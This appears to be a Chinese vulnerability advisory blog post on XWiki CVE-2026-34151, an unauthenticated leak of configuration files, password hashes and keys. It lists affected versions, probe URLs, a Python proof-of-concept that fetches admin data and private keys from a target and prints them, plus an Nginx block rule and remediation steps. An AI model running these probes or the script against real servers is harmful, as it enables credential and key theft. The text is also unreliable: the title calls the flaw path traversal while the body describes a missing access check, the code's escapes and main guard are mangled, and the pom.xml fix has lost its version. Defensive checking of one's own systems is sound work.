【高危漏洞预警】XWiki Platform路径遍历漏洞(CVE-2026-34151)
飓风网络安全
2026年7月8日 23:48
北京
在小说阅读器读本章
去阅读
一、漏洞基本概况
CVE-2026-34151 是存在于 XWiki Platform oldcore 核心底层组件 的未授权信息读取漏洞,漏洞根源为旧版核心模块在处理文档资源、系统配置、权限元数据时,未对匿名访问者做严格的权限鉴权校验。
攻击者无需登录、无需管理员权限,通过构造特定的资源访问请求,即可绕过访问控制列表(ACL),读取服务器上的系统配置文件、用户凭证哈希、后台密钥、数据库连接字符串、私密wiki文档等高敏感数据。
漏洞核心特点:
1. 完全无认证利用,公网可直接发起攻击;
2. 仅造成信息窃取,无法直接写入文件或执行命令,但窃取凭证后可横向渗透、接管后台;
3. 漏洞组件:org.xwiki.platform:xwiki-platform-oldcore 底层核心库;
4. 漏洞触发条件:目标对外开放XWiki服务端口(默认8080/80/443)即可利用。
二、受影响版本范围
受影响全量版本
XWiki Platform 全系列低于 17.10.5 的所有版本:
• 16.x 全版本
• 17.0 ~ 17.10.4 全部存在漏洞
安全修复版本
org.xwiki.platform:xwiki-platform-oldcore >= 17.10.5
官方修复方案:升级依赖包至17.10.5及以上稳定版,重构资源访问鉴权逻辑,增加匿名访问白名单拦截机制。
三、漏洞原理技术分析
1. 代码逻辑缺陷点位
XWiki oldcore 底层资源加载器 DefaultResourceLoader.java 中,对系统内置的私有资源路径(/xwiki/bin/resources/system/、配置元数据路由、缓存索引文件)做权限判断时,复用了公开静态资源的放行逻辑,未区分匿名用户与已认证用户的访问边界。
-
漏洞利用链路
攻击者HTTP请求 → 路由分发至oldcore资源模块 → 权限校验函数缺失私有资源拦截判断 → 直接加载磁盘/内存中的敏感配置内容 → HTTP响应返回明文敏感数据。 -
攻击价值
• 窃取管理员账号密码哈希,暴力破解后登录后台;
• 获取JDBC数据库连接地址、账号、密码,直连业务数据库;
• 读取应用密钥、会话签名密钥,实现会话劫持、伪造管理员Cookie;
• 导出内部涉密wiki文档、流程资料、企业内部通讯录。
四、漏洞检测方法
1、远程漏洞探测(主动POC检测)
访问以下特征路径,若直接返回配置JSON/文本内容,说明存在漏洞:
GET /xwiki/bin/resources/system/config/global.properties
GET /xwiki/bin/resources/system/users/admin/userdata.xml
GET /xwiki/bin/resources/cache/index/secret.key
正常加固环境会返回403 Forbidden;漏洞环境直接返回200并输出明文内容。
2、本地SCA依赖扫描
Maven项目执行依赖漏洞检测:
mvn dependency-check:check | grep CVE-2026-34151
Gradle项目:
gradle dependencyCheckAnalyze
检测到xwiki-platform-oldcore版本低于17.10.5即为受影响资产。
五、漏洞验证POC(Python 概念验证代码)
说明:本POC仅用于企业内部安全自查、合规应急检测,严禁用于未授权外部渗透测试,违者承担法律责任。
CVE-2026-34151 XWiki 未授权敏感信息泄露POC
适用:无认证远程读取系统配置、用户敏感数据
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning
关闭SSL告警
requests.packages.urllib3.disable\_warnings(InsecureRequestWarning)
目标地址配置
TARGET\_URL = sys.argv[1].strip(\"/\") if len(sys.argv) > 1 else \"http://127.0.0.1:8080\"
漏洞敏感路径列表
VULN\_PATHS = [
\"/xwiki/bin/resources/system/config/global.properties\",
\"/xwiki/bin/resources/system/users/admin/userdata.xml\",
\"/xwiki/bin/resources/system/hibernate.cfg.xml\",
\"/xwiki/bin/resources/cache/jwt/private.key\"
]
def check\_vuln():
print(f\"[+] 开始检测 CVE-2026-34151 目标:{TARGET\_URL}\")
is\_vulnerable = False
for path in VULN\_PATHS:
full\_url = TARGET\_URL + path
try:
resp = requests.get(full\_url, timeout=8, verify=False)
# 状态码200且响应包含配置特征字段判定存在漏洞
if resp.status\_code == 200 and len(resp.text) > 50:
print(f\"[!] 漏洞存在 路径:{full\_url}\")
print(f\"[\*] 响应片段:{resp.text[:200]}......\
\")
is\_vulnerable = True
elif resp.status\_code == 403:
print(f\"[-] 已拦截 路径:{path}\")
except Exception as e:
print(f\"[x] 请求异常 {path} : {str(e)}\")
if not is\_vulnerable:
print(\"[+] 目标未检测到CVE-2026-34151漏洞\")
if \\_name\\ == \"\\main\\_\":
check\_vuln()
POC使用方式
检测单个目标
python3 cve\_2026\_34151.py http://xxx.xxx.xxx.xxx:8080
六、应急处置与修复方案
方案1:官方升级补丁(最优方案)
修改项目pom.xml,强制升级oldcore核心依赖版本:
xwiki-platform-oldcore
重新打包、重启XWiki服务完成修复。
方案2:临时防护策略(无法立即升级时)
1. Nginx/Apache 增加路径拦截规则,禁止匿名访问/system/resources私有路由;
Nginx规则示例:
location ~\* ^/xwiki/bin/resources/system/ {
deny all;
return 403;
}
2. 防火墙收紧访问源,仅内网IP访问XWiki服务,阻断公网攻击面;
- 开启XWiki全局匿名访问禁用策略,关闭游客浏览权限。
方案3:事后溯源排查
1. 分析访问日志,检索/resources/system/特征URI,排查异常IP窃取行为;
-
所有泄露的数据库账号、后台密钥、JWT密钥全部重置轮换;
-
对服务器进行全盘木马、后门扫描,防止攻击者利用泄露信息植入持久化后门。
七、安全运营监测建议
1. 在SIEM、态势感知平台新增告警规则:公网IP高频访问 /xwiki/bin/resources/system/\* 路径触发高危告警;
-
常态化SCA组件扫描,持续监控XWiki系列依赖版本,同步漏洞库更新;
-
对外协同类、知识库类系统,原则上不直接暴露公网,采用内网+VPN访问架构。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论